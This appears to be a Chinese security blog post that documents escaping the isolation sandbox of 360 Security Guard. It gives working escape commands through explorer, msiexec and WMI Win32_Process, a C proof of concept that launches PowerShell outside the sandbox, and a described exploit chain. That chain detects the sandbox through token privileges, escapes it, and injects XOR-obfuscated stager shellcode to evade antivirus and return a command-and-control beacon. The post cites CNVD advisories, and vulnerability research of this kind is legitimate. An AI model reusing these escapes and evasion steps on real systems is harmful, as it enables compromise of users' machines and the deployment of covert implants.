360隔离沙箱逃逸


0x01 简介

在2020年6月的一天发现在0day.today上有一个关于360沙盒逃逸的漏洞360 Security Sandbox Escape,当时简单测试了下便获得了逃逸的POC(explorer.exe /e /select,C:\windows\system32\cmd.exe),本文记录详细过程和其他的逃逸方式。

0x02 环境准备

下载360安全卫士进行安装,随后在主界面点击功能大全,选择隔离沙箱添加:

添加隔离沙箱后,版本是3.5.0.1035(该程序好像已经年久失修了,2020年的逃逸在2022年依然可以利用):

可以在右键菜单中使用在隔离沙箱中运行功能:

如没有右键菜单可以在沙箱高级设置中开启:

也可以将要运行的程序拖放进隔离沙箱的程序列表中:

在沙箱中运行的程序顶部会有保护中的标识,并且在沙盒中的程序无法访问C:\360SANDBOX\文件夹,会提示拒绝访问:

在沙盒中的程序创建目录不会在宿主磁盘中显示(可以用来在后续判断是否已经逃逸):

0x03 可视化逃逸

这一部分是登录系统后直接在隔离沙箱中执行测试程序来尝试逃逸。测试程序是系统自带的程序或者安装的软件,通过观察这些软件是否可以在沙箱外造成影响。

0x3-1 Explorer

测试时可以进入到命令行中执行系统的其他程序。在之前的版本(2020年测试时),可以直接在沙箱中指向cmd等程序现在已经不能直接运行,说明程序还是进行了一些更新:

通过打开文本文件后,另存为时进入命令行界面:

在另存为的界面顶部地址栏中执行CMD(或者shift右键在此处打开命令行):

在获得的命令行中查看当前用户和权限:

可以发现该进程的令牌特权是低完整性的,可能是通过API函数 CreateRestrictedTokenAdjustTokenPrivileges 删除了部分特权:

在这个命令行中启动其他程序来测试,创建的子进程也会在沙箱环境中执行:

尝试在沙箱中运行浏览器等软件都仍然在沙箱中执行:

当执行explorer程序时,资源管理器程序没有显示在沙箱中执行的标记:

尝试在顶部地址栏中打开命令行,查看当前权限发现已经是完整的管理员权限了:

当然也可以在沙箱外对磁盘写入文件等全部操作:

这说明通过explorer程序可以在沙箱外进行操作,那么也可以直接通过explorer执行其他文件:

#以资源管理器方式打开选中的文件夹或文件
explorer /e /select,C:\windows\system32\cmd.exe
#通过关联程序打开文件
explorer C:\windows\system32\cmd.exe

可以看到,果然可以通过explorer来逃逸沙箱:

这就确认了一种可以逃逸360沙箱并获得完整管理员权限的方法。

0x3-1-1 特权移除测试

上文观察到沙箱环境内的特权被移除了,尝试通过AdjustTokenPrivileges实现特权的移除。特权移除Demo如下,Demo将移除SeCreateGlobalPrivilege特权(其他一些特权信息可以在微软文档查阅 User Rights Assignment):

DWORD RemovePrivilege()
{
    HANDLE hToken;
    DWORD hr = 0;
    LUID luid;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
    if (LookupPrivilegeValue(NULL,// lookup privilege on local system
        SE_CREATE_GLOBAL_NAME,   // privilege to lookup 
        &luid))        // receives LUID of privilege
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;

        if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
            hr = GetLastError();
            printf("[-] AdjustTokenPrivileges error:%d \n", hr); 
        }

        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            hr = GetLastError();
            printf("[-] The token does not have the specified privilege:%d.\n", hr);
        }
    }
    else {
        hr = GetLastError();
        printf("[-] Error:%d\n", hr);
    }
    return hr;
}

根据基础Demo编写删除更多特权的程序,执行后发现部分特权已经被删除:

0x3-2 Msiexec

在360沙盒中也可以通过msiexec执行msi程序获得沙箱外的命令执行,只不过获得的仍然是受限Shell。通过在Visual Studio安装Microsoft Visual Studio Installer Projects插件来构建msi安装包。
在项目中右键选择View->自定义操作

cmd.exe添加到安装时的命令中:

构建好执行cmd程序的msi安装包后,在沙盒环境的命令行中执行msiexec /q /i cmd.msi

使用msiexec执行msi安装程序时也可以逃逸出沙箱环境,但是特权仍然有限。

0x3-3 Win32_Process

另外也可以使用Win32_Process类获得沙箱外受限的命令执行:

# wmic 调用
wmic process call create cmd
# vbs script , wscript xx.vbs / xx.vbs 对象调用
INT GetObject("winmgmts:Win32_Process").Create("cmd.exe",null,null,null)


这种方式与msiexec方式获得的权限一致。

0x04 漏洞验证实现

通过以上测试,选择explorer作为逃逸的利用程序。编写POC进行验证,主要使用CreateProcessA创建进程获得沙箱外的命令执行:

#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.wShowWindow = SW_HIDE;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    if (!CreateProcessA(NULL, "explorer.exe C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { return 0; }
    printf("[+] ProcessId:%d \n", pi.dwProcessId);
    printf("[+] ThreadId:%d \n", pi.dwThreadId);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}


程序执行后通过explorer执行powershell,成功获得了完整特权下的沙箱逃逸。

0x05 漏洞利用实现

在漏洞利用程序EXP中可以通过检测当前Token中启用的特权判断是否在沙箱环境中,已知的沙箱环境中Token特权为:

SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeUndockPrivilege             从扩展坞上取下计算机 已禁用
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用
SeTimeZonePrivilege           更改时区             已禁用

普通用户比沙箱中多了SeShutdownPrivilege特权

将简单以该特权判断是否在沙箱中运行,在沙箱中利用AdjustTokenPrivileges修改不存在的SeShutdownPrivilege特权会抛出ERROR_NOT_ALL_ASSIGNED(错误号1300)错误:

1300错误号说明:

当在程序中修改特权返回ERROR_NOT_ALL_ASSIGNED时就说明在沙箱中,则通过explorer来执行当前文件获得沙箱外命令执行,如果修改特权正常,就执行shellcode注入等操作:

测试逃逸沙箱执行cmd:

将执行cmd的命令换成shellcode注入:

因为360安全沙箱是与360安全卫士配套的,所以就需要对360安全卫士进行一次免杀绕过,这里的shellcode就直接使用RWA格式的stage加上简单异或:

将异或后的数组还原后打印出来,可以看出来就是原来的shellcode:

通过这种方式简单绕过安全卫士的查杀,接下来在沙箱中执行获取beacon,执行结果如下:

最终可以实现在安全沙箱中逃逸并绕过查杀返回beacon。

0x06 文末总结

最开始通过漏洞交易网站获得漏洞信息,然后对该安全沙箱程序进行实验,最终发现了可以进行逃逸的Payload,并通过编程实现的方式完成了POC和EXP的编写。该缺陷在cnvd上已有相关编号(CNVD-2021-41714、CNVD-2021-52377),POC: 360SecuritySandboxEscape

0x07 参考链接

Token列表
Chrome 沙盒逃逸
更改令牌中的特权
限制 Windows 上的权限(AdjustTokenPrivileges和CreateRestrictedToken)


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
Windows Installer安装包的构建和执行 Windows Installer安装包的构建和执行
生成msi安装包执行自定义载荷的详细步骤方法。msiexec命令执行远程msi安装包、本地dll获得命令执行的方法研究。
下一篇 
通过 C++ 操作注册表禁用 Windows Defender 通过 C++ 操作注册表禁用 Windows Defender
通过在安装了其他反病毒软件的前提下,通过编程实现禁用 WinDefend 的服务,随后经过一些操作可实现完全禁用WinDefend。
2022-03-07
  目录